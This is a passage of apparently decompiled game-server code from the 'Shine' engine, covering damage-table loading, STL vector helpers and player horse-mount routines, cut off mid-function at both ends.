AssertClass::ac_AssertFail(&shineassert, "DamageByAngle::DamageTable::operator [] : Invalid delta", v2); result = 1000; } return result; } //----- (0044F6B0) -------------------------------------------------------- void __thiscall DamageByAngle::DamageTable::dt_Load(DamageByAngle::DamageTable *this, Name4 *world, char *table) { int v3; // edx@1 int v4; // ecx@1 int v5; // edx@1 char v6; // bl@2 int v7; // eax@2 int i; // ebx@5 void *v9; // esi@6 bool v10; // zf@7 unsigned __int16 v11; // di@10 int v12; // edi@13 int v13; // edi@21 DamageByAngle::DamageTable *v14; // ebp@21 int j; // esi@26 ORToken v16; // [sp-18h] [bp-10938h]@6 int v17; // [sp-14h] [bp-10934h]@6 int v18; // [sp-10h] [bp-10930h]@6 int v19; // [sp-Ch] [bp-1092Ch]@6 int v20; // [sp-8h] [bp-10928h]@6 int v21; // [sp-4h] [bp-10924h]@6 DamageByAngle::DamageTable *v22; // [sp+10h] [bp-10910h]@1 ORToken *v23; // [sp+14h] [bp-1090Ch]@6 char *v24; // [sp+18h] [bp-10908h]@1 OptionReader or; // [sp+1Ch] [bp-10904h]@1 int buf; // [sp+10870h] [bp-B0h]@1 int v27; // [sp+10874h] [bp-ACh]@1 int v28; // [sp+10878h] [bp-A8h]@1 int v29; // [sp+1087Ch] [bp-A4h]@1 char v30; // [sp+10880h] [bp-A0h]@1 char path[128]; // [sp+10890h] [bp-90h]@1 unsigned int v32; // [sp+10910h] [bp-10h]@1 int v33; // [sp+1091Ch] [bp-4h]@1 v32 = (unsigned int)&v22 ^ __security_cookie; v24 = table; v22 = this; memset(this, 0, 0xB4u); this->dt_DamageRate[90] = 0; OptionReader::OptionReader(&or); v3 = *(_DWORD *)&world->n4_name[4]; buf = *(_DWORD *)&world->n4_name[0]; v4 = *(_DWORD *)&world->n4_name[8]; v27 = v3; v5 = *(_DWORD *)&world->n4_name[12]; v28 = v4; v33 = 0; v29 = v5; v30 = 0; sprintf(path, "../9Data/Hero/World/%s/DamageByAngle.txt"); if ( !OptionReader::or_Read(&or, path) ) { sprintf(path, "../9Data/Hero/World/DamageByAngle.txt"); v6 = OptionReader::or_Read(&or, path); v7 = OptionReader::or_ErrorLine(&or); if ( !v6 ) { AssertClass::ac_AssertFail(&shineassert, "DamageByAngle::DamageTable::dt_Load : Error in DamageByAngle.txt", v7); ShineExit("DamageByAngle::DamageTable::dt_Load"); } } for ( i = 0; ; ++i ) { v21 = i; v23 = &v16; v20 = 0; v19 = 0; v18 = 0; v17 = 0; *(_DWORD *)&v16.ort_Name[0] = 0; strncpy(v16.ort_Name, v24, 0x14u); v9 = OptionReader::or_SelectFromOrder(&or, v16, v21); if ( !v9 ) break; v10 = *(_WORD *)v9 != *((_WORD *)v9 + 2); v23 = (ORToken *)(*(_WORD *)v9 == *((_WORD *)v9 + 2)); if ( v10 ) { AssertClass::ac_AssertFail(&shineassert, "DamageByAngle::DamageTable::dt_Load : CheckSum Error", i); ShineExit("DamageByAngle::DamageTable::dt_Load"); } v21 = *(_WORD *)v9; v11 = ShineRadian::sr_degree2sr(&shineradian, v21); v23 = (ORToken *)(v11 <= 0x5Au); if ( v11 > 0x5Au ) { v21 = *(_WORD *)v9; AssertClass::ac_AssertFail(&shineassert, "DamageByAngle::DamageTable::dt_Load : angle must be in 0~180", v21); ShineExit("DamageByAngle::DamageTable::dt_Load"); } v12 = (int)((char *)v22 + 2 * v11); if ( *(_WORD *)v12 != 0 ) { v21 = *(_WORD *)v9; AssertClass::ac_AssertFail(&shineassert, "DamageByAngle::DamageTable::dt_Load : Duplicate angle", v21); ShineExit("DamageByAngle::DamageTable::dt_Load"); } *(_WORD *)v12 = *((_WORD *)v9 + 1); } if ( v22->dt_DamageRate[0] <= 0u || v22->dt_DamageRate[90] <= 0u ) { AssertClass::ac_AssertFail(&shineassert, "DamageByAngle::DamageTable::dt_Load : there must be 0 and 180", 0); ShineExit("DamageByAngle::DamageTable::dt_Load"); } v13 = 1; v14 = v22; do { if ( !v14->dt_DamageRate[1] ) { v10 = v14->dt_DamageRate[0] <= 0u; v23 = (ORToken *)(v14->dt_DamageRate[0] > 0u); if ( v10 ) { AssertClass::ac_AssertFail(&shineassert, "DamageByAngle::DamageTable::dt_Load : Upper Bound not found", v13); ShineExit("DamageByAngle::DamageTable::dt_Load"); } for ( j = v13 + 1; j <= 90; ++j ) { if ( v22->dt_DamageRate[j] ) break; } if ( j > 90 ) { AssertClass::ac_AssertFail(&shineassert, "DamageByAngle::DamageTable::dt_Load : Lower Bound not found", v13); ShineExit("DamageByAngle::DamageTable::dt_Load"); } v14->dt_DamageRate[1] = v14->dt_DamageRate[0] + (v22->dt_DamageRate[j] - v14->dt_DamageRate[0]) / (j - v13 + 1); } ++v13; v14 = (DamageByAngle::DamageTable *)((char *)v14 + 2); } while ( v13 < 90 ); v33 = -1; OptionReader::_OptionReader(&or); __security_check_cookie((unsigned int)&v22 ^ v32); } //----- (0044F9E0) -------------------------------------------------------- void __cdecl std::fill(DamageBySoul::SoulDamateElement *_First, DamageBySoul::SoulDamateElement *_Last, DamageBySoul::SoulDamateElement *_Val) { DamageBySoul::SoulDamateElement *i; // eax@1 DamageBySoul::SoulDamateElement *v4; // edi@2 for ( i = _First; i != _Last; *(_DWORD *)&v4->sde_DamageRateBySoul[6] = *(_DWORD *)&_Val->sde_DamageRateBySoul[6] ) { v4 = i; *(_DWORD *)&i->sde_DamageRateBySoul[0] = *(_DWORD *)&_Val->sde_DamageRateBySoul[0]; *(_DWORD *)&i->sde_DamageRateBySoul[2] = *(_DWORD *)&_Val->sde_DamageRateBySoul[2]; *(_DWORD *)&i->sde_DamageRateBySoul[4] = *(_DWORD *)&_Val->sde_DamageRateBySoul[4]; ++i; } } //----- (0044FA20) -------------------------------------------------------- DamageBySoul::SoulDamateElement *__cdecl std::_Copy_opt(DamageBySoul::SoulDamateElement *_First, DamageBySoul::SoulDamateElement *_Last, DamageBySoul::SoulDamateElement *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { DamageBySoul::SoulDamateElement *v4; // ecx@1 DamageBySoul::SoulDamateElement *result; // eax@1 DamageBySoul::SoulDamateElement *v6; // edi@2 int v7; // esi@2 v4 = _First; for ( result = _Dest; v4 != _Last; *(_DWORD *)&v6->sde_DamageRateBySoul[6] = v7 ) { v6 = result; *(_DWORD *)&result->sde_DamageRateBySoul[0] = *(_DWORD *)&v4->sde_DamageRateBySoul[0]; *(_DWORD *)&result->sde_DamageRateBySoul[2] = *(_DWORD *)&v4->sde_DamageRateBySoul[2]; *(_DWORD *)&result->sde_DamageRateBySoul[4] = *(_DWORD *)&v4->sde_DamageRateBySoul[4]; v7 = *(_DWORD *)&v4->sde_DamageRateBySoul[6]; ++v4; ++result; } return result; } //----- (0044FA60) -------------------------------------------------------- DamageBySoul::SoulDamateElement *__cdecl std::_Copy_backward_opt(DamageBySoul::SoulDamateElement *_First, DamageBySoul::SoulDamateElement *_Last, DamageBySoul::SoulDamateElement *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { DamageBySoul::SoulDamateElement *v4; // ecx@1 DamageBySoul::SoulDamateElement *result; // eax@1 v4 = _Last; for ( result = _Dest; v4 != _First; *(_DWORD *)&result->sde_DamageRateBySoul[6] = *(_DWORD *)&v4->sde_DamageRateBySoul[6] ) { --v4; --result; *(_DWORD *)&result->sde_DamageRateBySoul[0] = *(_DWORD *)&v4->sde_DamageRateBySoul[0]; *(_DWORD *)&result->sde_DamageRateBySoul[2] = *(_DWORD *)&v4->sde_DamageRateBySoul[2]; *(_DWORD *)&result->sde_DamageRateBySoul[4] = *(_DWORD *)&v4->sde_DamageRateBySoul[4]; } return result; } //----- (0044FAA0) -------------------------------------------------------- DamageBySoul::SoulDamateElement *__cdecl std::_Uninit_copy>(DamageBySoul::SoulDamateElement *_First, DamageBySoul::SoulDamateElement *_Last, DamageBySoul::SoulDamateElement *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { DamageBySoul::SoulDamateElement *v5; // ecx@1 DamageBySoul::SoulDamateElement *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) { *(_DWORD *)&result->sde_DamageRateBySoul[0] = *(_DWORD *)&v5->sde_DamageRateBySoul[0]; *(_DWORD *)&result->sde_DamageRateBySoul[2] = *(_DWORD *)&v5->sde_DamageRateBySoul[2]; *(_DWORD *)&result->sde_DamageRateBySoul[4] = *(_DWORD *)&v5->sde_DamageRateBySoul[4]; *(_DWORD *)&result->sde_DamageRateBySoul[6] = *(_DWORD *)&v5->sde_DamageRateBySoul[6]; } ++v5; } return result; } //----- (0044FAE0) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(DamageBySoul::SoulDamateElement *_First, unsigned int _Count, DamageBySoul::SoulDamateElement *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // ecx@2 DamageBySoul::SoulDamateElement *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) { *(_DWORD *)&v6->sde_DamageRateBySoul[0] = *(_DWORD *)&_Val->sde_DamageRateBySoul[0]; *(_DWORD *)&v6->sde_DamageRateBySoul[2] = *(_DWORD *)&_Val->sde_DamageRateBySoul[2]; *(_DWORD *)&v6->sde_DamageRateBySoul[4] = *(_DWORD *)&_Val->sde_DamageRateBySoul[4]; *(_DWORD *)&v6->sde_DamageRateBySoul[6] = *(_DWORD *)&_Val->sde_DamageRateBySoul[6]; } ++v6; --v5; } while ( v5 ); } } //----- (0044FB20) -------------------------------------------------------- DamageBySoul::SoulDamateElement *__thiscall std::vector>::_Ufill(std::vector > *this, DamageBySoul::SoulDamateElement *_Ptr, unsigned int _Count, DamageBySoul::SoulDamateElement *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (0044FB50) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0044FBC0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, DamageBySoul::SoulDamateElement *_Val) { int v4; // edx@1 std::vector > *v5; // esi@1 DamageBySoul::SoulDamateElement *v6; // ecx@1 int v7; // edx@1 int v8; // eax@2 int v9; // edx@6 int v10; // edx@11 int v11; // eax@15 int v12; // edx@18 int v13; // eax@22 void *v14; // eax@25 DamageBySoul::SoulDamateElement *v15; // ecx@25 DamageBySoul::SoulDamateElement *v16; // ebx@25 DamageBySoul::SoulDamateElement *v17; // ecx@25 int v18; // eax@26 unsigned int v19; // edi@28 void *v20; // eax@30 char *v21; // edi@30 DamageBySoul::SoulDamateElement *v22; // eax@31 signed int v23; // ecx@31 unsigned int v24; // ST28_4@32 DamageBySoul::SoulDamateElement *v25; // ST24_4@32 void *v26; // eax@32 char *v27; // edi@32 DamageBySoul::SoulDamateElement *v28; // edi@33 DamageBySoul::SoulDamateElement *v29; // eax@33 DamageBySoul::SoulDamateElement *v30; // ecx@33 int v31; // [sp+0h] [bp-38h]@1 void *_Newvec; // [sp+Ch] [bp-2Ch]@25 std::_Nonscalar_ptr_iterator_tag __formal[4]; // [sp+10h] [bp-28h]@25 int _Tmp; // [sp+14h] [bp-24h]@1 int v35; // [sp+18h] [bp-20h]@1 int v36; // [sp+1Ch] [bp-1Ch]@1 int v37; // [sp+20h] [bp-18h]@1 unsigned int v38; // [sp+24h] [bp-14h]@1 int *v39; // [sp+28h] [bp-10h]@1 int v40; // [sp+34h] [bp-4h]@25 int v41; // [sp+38h] [bp+0h]@1 v38 = (unsigned int)&v41 ^ __security_cookie; v4 = *(_DWORD *)&_Val->sde_DamageRateBySoul[2]; v5 = this; _Tmp = *(_DWORD *)&_Val->sde_DamageRateBySoul[0]; v36 = *(_DWORD *)&_Val->sde_DamageRateBySoul[4]; v6 = this->_Myfirst; v35 = v4; v7 = *(_DWORD *)&_Val->sde_DamageRateBySoul[6]; v39 = &v31; v37 = v7; if ( v6 ) v8 = v5->_Myend - v6; else v8 = 0; if ( _Count ) { if ( v6 ) v9 = v5->_Mylast - v6; else v9 = 0; if ( (unsigned int)((char *)&pathfindtable.pft_table[1103][975].pfc_from.y + -v9 + 3) < _Count ) std::vector>::_Xlen(v5); if ( v6 ) v10 = v5->_Mylast - v6; else v10 = 0; if ( v8 >= _Count + v10 ) { v22 = v5->_Mylast; v23 = (signed int)((char *)v5->_Mylast - *(_DWORD *)&_Where); *(_DWORD *)&__formal[0].dummy[0] = v5->_Mylast; if ( v23 >> 4 >= _Count ) { v28 = &v22[-_Count]; _Newvec = (void *)(16 * _Count); v29 = std::_Uninit_copy>( &v22[-_Count], v22, v22, &v5->baseclass_0._Alval, __formal[0]); v30 = *(DamageBySoul::SoulDamateElement **)&__formal[0].dummy[0]; v5->_Mylast = v29; std::_Copy_backward_opt( *(DamageBySoul::SoulDamateElement **)&_Where, v28, v30, __formal[0]); std::fill( *(DamageBySoul::SoulDamateElement **)&_Where, (DamageBySoul::SoulDamateElement *)((char *)_Newvec + *(_DWORD *)&_Where), (DamageBySoul::SoulDamateElement *)&_Tmp); } else { _Newvec = (void *)(16 * _Count); std::_Uninit_copy>( *(DamageBySoul::SoulDamateElement **)&_Where, v22, (DamageBySoul::SoulDamateElement *)(*(_DWORD *)&_Where + 16 * _Count), &v5->baseclass_0._Alval, __formal[0]); v24 = _Count - ((signed int)((char *)v5->_Mylast - *(_DWORD *)&_Where) >> 4); v25 = v5->_Mylast; v40 = 2; std::vector>::_Ufill( v5, v25, v24, (DamageBySoul::SoulDamateElement *)&_Tmp); v26 = _Newvec; v27 = (char *)_Newvec + (unsigned int)v5->_Mylast; v5->_Mylast = (DamageBySoul::SoulDamateElement *)v27; std::fill( *(DamageBySoul::SoulDamateElement **)&_Where, (DamageBySoul::SoulDamateElement *)(v27 - v26), (DamageBySoul::SoulDamateElement *)&_Tmp); } } else { if ( (unsigned int)((char *)&pathfindtable.pft_table[1103][975].pfc_from.y + -((unsigned int)v8 >> 1) + 3) >= v8 ) v11 = ((unsigned int)v8 >> 1) + v8; else v11 = 0; if ( v6 ) v12 = v5->_Mylast - v6; else v12 = 0; if ( v11 < _Count + v12 ) { if ( v6 ) v13 = v5->_Mylast - v6; else v13 = 0; v11 = _Count + v13; } *(_DWORD *)&__formal[0].dummy[0] = 16 * v11; v14 = operator new(16 * v11); v15 = v5->_Myfirst; _Newvec = v14; v40 = 0; v16 = std::_Uninit_copy>( v15, *(DamageBySoul::SoulDamateElement **)&_Where, (DamageBySoul::SoulDamateElement *)v14, &v5->baseclass_0._Alval, __formal[0]); std::_Uninit_fill_n>( v16, _Count, (DamageBySoul::SoulDamateElement *)&_Tmp, &v5->baseclass_0._Alval, __formal[0]); std::_Uninit_copy>( *(DamageBySoul::SoulDamateElement **)&_Where, v5->_Mylast, &v16[_Count], &v5->baseclass_0._Alval, __formal[0]); v17 = v5->_Myfirst; if ( v17 ) v18 = v5->_Mylast - v17; else v18 = 0; v19 = v18 + _Count; if ( v17 ) operator delete(v5->_Myfirst); v20 = _Newvec; v21 = (char *)_Newvec + 16 * v19; v5->_Myend = (DamageBySoul::SoulDamateElement *)((char *)_Newvec + *(_DWORD *)&__formal[0].dummy[0]); v5->_Mylast = (DamageBySoul::SoulDamateElement *)v21; v5->_Myfirst = (DamageBySoul::SoulDamateElement *)v20; } } } //----- (0044FE20) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, DamageBySoul::SoulDamateElement _Val) { std::vector > *v3; // esi@1 DamageBySoul::SoulDamateElement *v4; // edx@1 signed int v5; // ecx@2 int v6; // ecx@6 DamageBySoul::SoulDamateElement *v7; // edi@10 DamageBySoul::SoulDamateElement *v8; // eax@11 std::_Nonscalar_ptr_iterator_tag __formal[4]; // [sp+8h] [bp-18h]@1 int v10; // [sp+Ch] [bp-14h]@1 int v11; // [sp+10h] [bp-10h]@1 int v12; // [sp+14h] [bp-Ch]@1 int v13; // [sp+18h] [bp-8h]@1 unsigned int v14; // [sp+1Ch] [bp-4h]@1 v14 = (unsigned int)__formal ^ __security_cookie; v3 = this; v12 = *(_DWORD *)&_Val.sde_DamageRateBySoul[4]; v4 = this->_Myfirst; v10 = *(_DWORD *)&_Val; v11 = *(_DWORD *)&_Val.sde_DamageRateBySoul[2]; v13 = *(_DWORD *)&_Val.sde_DamageRateBySoul[6]; if ( v4 ) v5 = this->_Mylast - v4; else v5 = 0; if ( v5 >= _Newsize ) { if ( v4 ) { v7 = v3->_Mylast; if ( _Newsize < v3->_Mylast - v4 ) { v8 = &v4[_Newsize]; if ( v8 != v7 ) v3->_Mylast = std::_Copy_opt( v7, v7, v8, __formal[0]); } } } else { if ( v4 ) v6 = v3->_Mylast - v4; else v6 = 0; std::vector>::_Insert_n( v3, (std::vector >::iterator)v3->_Mylast, _Newsize - v6, (DamageBySoul::SoulDamateElement *)&v10); } } //----- (0044FEF0) -------------------------------------------------------- void __thiscall DamageBySoul::SoulDamageContainer::sdc_Load(DamageBySoul::SoulDamageContainer *this, Name4 *world) { DamageBySoul::SoulDamageContainer *v2; // esi@1 unsigned int v3; // eax@1 char *v4; // eax@1 int v5; // edx@1 int v6; // ecx@1 int v7; // eax@3 int v8; // ebp@5 int i; // edi@5 void *v10; // eax@6 int v11; // eax@7 char *v12; // edx@10 const char *v13; // ecx@10 int v14; // edx@10 int j; // edi@10 void *v16; // eax@11 ORToken v17; // [sp-18h] [bp-10910h]@6 int v18; // [sp-14h] [bp-1090Ch]@6 int v19; // [sp-10h] [bp-10908h]@6 char *v20; // [sp-Ch] [bp-10904h]@1 const char *v21; // [sp-8h] [bp-10900h]@1 int v22; // [sp-4h] [bp-108FCh]@1 ORToken *v23; // [sp+10h] [bp-108E8h]@1 OptionReader or; // [sp+14h] [bp-108E4h]@1 char path[128]; // [sp+10868h] [bp-90h]@1 unsigned int v26; // [sp+108E8h] [bp-10h]@1 int v27; // [sp+108F4h] [bp-4h]@1 v2 = this; v26 = (unsigned int)&v23 ^ __security_cookie; OptionReader::OptionReader(&or); v3 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v3; v4 = (char *)&namestring + 256 * v3; *(_QWORD *)v4 = *(_QWORD *)&world->n4_name[0]; v5 = *(_DWORD *)&world->n4_name[8]; v22 = (int)v4; *((_DWORD *)v4 + 2) = v5; v6 = *(_DWORD *)&world->n4_name[12]; v21 = "../9Data/Hero/World/%s/DamageBySoul.txt"; v20 = path; v27 = 0; *((_DWORD *)v4 + 3) = v6; v4[16] = 0; sprintf(v20, v21); if ( !OptionReader::or_Read(&or, path) ) { OptionReader::or_ClearError(&or); sprintf(path, "../9Data/Hero/World/DamageBySoul.txt"); if ( !OptionReader::or_Read(&or, path) ) { v7 = OptionReader::or_ErrorLine(&or); AssertClass::ac_AssertFail( &shineassert, "DamageBySoul::SoulDamageContainer::sdc_Load : Read DamageBySoul.txt fail", v7); ShineExit("DamageBySoul::SoulDamageContainer::sdc_Load"); } } v8 = 0; for ( i = 0; ; ++i ) { v22 = i; v23 = &v17; v21 = 0; v20 = 0; v19 = 0; v18 = 0; *(_DWORD *)&v17.ort_Name[0] = 0; strncpy(v17.ort_Name, "DamageBySoul", 0x14u); v10 = OptionReader::or_SelectFromOrder(&or, v17, v22); if ( !v10 ) break; v11 = *(_WORD *)v10; if ( v11 > v8 ) v8 = v11; } v2->sdc_Default.sde_DamageRateBySoul[7] = 0; v2->sdc_Default.sde_DamageRateBySoul[6] = 0; v2->sdc_Default.sde_DamageRateBySoul[5] = 0; v2->sdc_Default.sde_DamageRateBySoul[4] = 0; v2->sdc_Default.sde_DamageRateBySoul[3] = 0; v2->sdc_Default.sde_DamageRateBySoul[2] = 0; v2->sdc_Default.sde_DamageRateBySoul[1] = 0; v2->sdc_Default.sde_DamageRateBySoul[0] = 0; v12 = *(char **)&v2->sdc_Default.sde_DamageRateBySoul[2]; v19 = *(_DWORD *)&v2->sdc_Default.sde_DamageRateBySoul[0]; v13 = *(const char **)&v2->sdc_Default.sde_DamageRateBySoul[4]; v20 = v12; v14 = *(_DWORD *)&v2->sdc_Default.sde_DamageRateBySoul[6]; v21 = v13; v22 = v14; std::vector>::resize( &v2->sdc_Vector, v8 + 1, *(DamageBySoul::SoulDamateElement *)&v19); for ( j = 0; ; ++j ) { v22 = j; v23 = &v17; v21 = 0; v20 = 0; v19 = 0; v18 = 0; *(_DWORD *)&v17.ort_Name[0] = 0; strncpy(v17.ort_Name, "DamageBySoul", 0x14u); v16 = OptionReader::or_SelectFromOrder(&or, v17, v22); if ( !v16 ) break; v2->sdc_Vector._Myfirst[*(_WORD *)v16].sde_DamageRateBySoul[0] = *((_WORD *)v16 + 1); v2->sdc_Vector._Myfirst[*(_WORD *)v16].sde_DamageRateBySoul[1] = *((_WORD *)v16 + 2); v2->sdc_Vector._Myfirst[*(_WORD *)v16].sde_DamageRateBySoul[2] = *((_WORD *)v16 + 3); v2->sdc_Vector._Myfirst[*(_WORD *)v16].sde_DamageRateBySoul[3] = *((_WORD *)v16 + 4); v2->sdc_Vector._Myfirst[*(_WORD *)v16].sde_DamageRateBySoul[4] = *((_WORD *)v16 + 5); v2->sdc_Vector._Myfirst[*(_WORD *)v16].sde_DamageRateBySoul[5] = *((_WORD *)v16 + 6); v2->sdc_Vector._Myfirst[*(_WORD *)v16].sde_DamageRateBySoul[6] = *((_WORD *)v16 + 7); v2->sdc_Vector._Myfirst[*(_WORD *)v16].sde_DamageRateBySoul[7] = *((_WORD *)v16 + 8); } v27 = -1; OptionReader::_OptionReader(&or); __security_check_cookie((unsigned int)&v23 ^ v26); } //----- (004501B0) -------------------------------------------------------- int __thiscall DefSkillData::dsd_GetSkillID(DefSkillData *this, int Index, unsigned __int16 *SkillID) { int result; // eax@3 if ( SkillID && Index < this->dsd_Max ) { *SkillID = this->dsd_Array[Index].skill; result = 1; } else { result = 0; } return result; } //----- (004501E0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShinePlayer::sp_HorseError(void *this, unsigned __int16 err) { (*(void (__stdcall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)this + 776))(8, 65, err); return err; } //----- (00450200) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_HorseFree(int this) { int v1; // esi@1 int v2; // eax@1 int v3; // edx@1 v1 = this; v2 = *(_DWORD *)(this + 57880); v3 = *(_WORD *)(this + 143152); *(_WORD *)(this + 143140) = -1; (*(void (__thiscall **)(int, int))(v2 + 40))(this + 57880, v3); return (*(int (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v1 + 772))(v1, 8, 72); } //----- (00450240) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_MiniHouseFree(void *this) { *((_DWORD *)this + 35793) = 0; *((_DWORD *)this + 35794) = CGambleObject::GDTSO_GetGameStatus; *((_DWORD *)this + 35797) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *((_DWORD *)this + 35796) = 0; *((_BYTE *)this + 23408) = 0; return (*(int (__stdcall **)(_DWORD, _DWORD))(*(_DWORD *)this + 772))(8, 72); } //----- (00450280) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_HorseNotHungry(int this) { int v1; // esi@1 int v2; // eax@1 bool result; // al@2 int v4; // ecx@3 int v5; // edx@5 v1 = this; v2 = (**(int (__thiscall ***)(_DWORD, _DWORD))(this + 35680))(this + 35680, *(_WORD *)(this + 143142)); if ( v2 ) { v4 = *(_DWORD *)(v2 + 112); if ( v4 ) { v5 = *(_DWORD *)(v1 + 143144); if ( v5 && *(_DWORD *)(v5 + 4) ) { result = (*(int (__stdcall **)(int))(*(_DWORD *)v4 + 60))(v2) >= *(_WORD *)(*(_DWORD *)(*(_DWORD *)(v1 + 143144) + 4) + 198); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_HorseNotHungry : No info", 0); result = 1; } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_HorseNotHungry : NULL Arrtibute", *(_WORD *)(v1 + 143142)); result = 1; } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_HorseNotHungry : NULL Cell", *(_WORD *)(v1 + 143142)); result = 1; } return result; } //----- (00450330) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::sp_GetHorseFeed(int this) { unsigned int result; // eax@1 result = BTree::operator__(&stru_131DE8B8, (const char *)(*(_DWORD *)(*(_DWORD *)(this + 143144) + 4) + 132)); if ( result == -1 ) result = 65535; return result; } //----- (00450360) -------------------------------------------------------- CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetIndex(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger) { int v2; // eax@1 CIDEB_Element *result; // eax@3 v2 = finger->cief_Finger; if ( finger->cief_Finger < 0 || v2 >= this->cideb_Total ) result = 0; else result = &this->cideb_Array[v2]; return result; } //----- (00450390) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_HorseCast(void *this, int slot) { void *v2; // esi@1 int v3; // edx@1 int v4; // edi@1 signed int v5; // edx@2 CIDEB_Element *v6; // eax@6 int v7; // eax@13 int v8; // edx@14 int v9; // eax@14 char *v10; // eax@14 int v11; // eax@16 ChargedItemEffectFinger finger; // [sp+20h] [bp-14h]@2 FunctionEntarance _; // [sp+24h] [bp-10h]@1 int v14; // [sp+30h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_HorseCast"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HorseCast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_HorseCast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; v14 = 0; (*(void (__thiscall **)(void *))(v3 + 2256))(v2); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 2644))(v2); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 2648))(v2); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 3400))(v2); v4 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v2 + 8920))((char *)v2 + 35680, slot); if ( v4 ) { *((_DWORD *)v2 + 35786) = 0; MoveManager::MoveManager((DiceTaiSai *)&finger); LOBYTE(v14) = 1; v5 = -1; while ( v5 >= -1 ) { ++v5; finger.cief_Finger = v5; if ( v5 >= ridedatabox.cideb_Total ) break; if ( v5 < 0 ) v6 = 0; else v6 = &ridedatabox.cideb_Array[v5]; *((_DWORD *)v2 + 35786) = v6; if ( !v6 || !v6->ce_Data ) goto LABEL_17; if ( v6->ce_ItemID == *(_WORD *)(v4 + 8) ) goto LABEL_13; } finger.cief_Finger = -10; LABEL_13: v7 = *((_DWORD *)v2 + 35786); if ( v7 ) { v8 = *((_DWORD *)v2 + 14470); *((_DWORD *)v2 + 35787) = clockwatch.cw_CurrTick + ((signed int)((unsigned __int64)(10 * *(_WORD *)(*(_DWORD *)(v7 + 4) + 210) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * *(_WORD *)(*(_DWORD *)(v7 + 4) + 210) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v9 = *((_WORD *)v2 + 28942); *((_WORD *)v2 + 71576) = v9; *((_WORD *)v2 + 71570) = slot; *((_WORD *)v2 + 71571) = slot; (*(void (__thiscall **)(char *, int, signed int, int))(v8 + 44))((char *)v2 + 57880, v9, 9, slot); ++*((_WORD *)v2 + 28942); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2332))(v2, 1792, 9); v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8263; *((_WORD *)v10 + 1) = *(_WORD *)(*(_DWORD *)(*((_DWORD *)v2 + 35786) + 4) + 210); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v11 + 12))(v11, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_HorseCast : Packet Too Long", 4); } } LABEL_17: LOBYTE(v14) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&finger); } --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HorseCast"); } //----- (004505B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ItemAttrSave(void *this, int ridecell, int itembox, int slot) { void *v4; // ebp@1 int v5; // edx@3 int v6; // 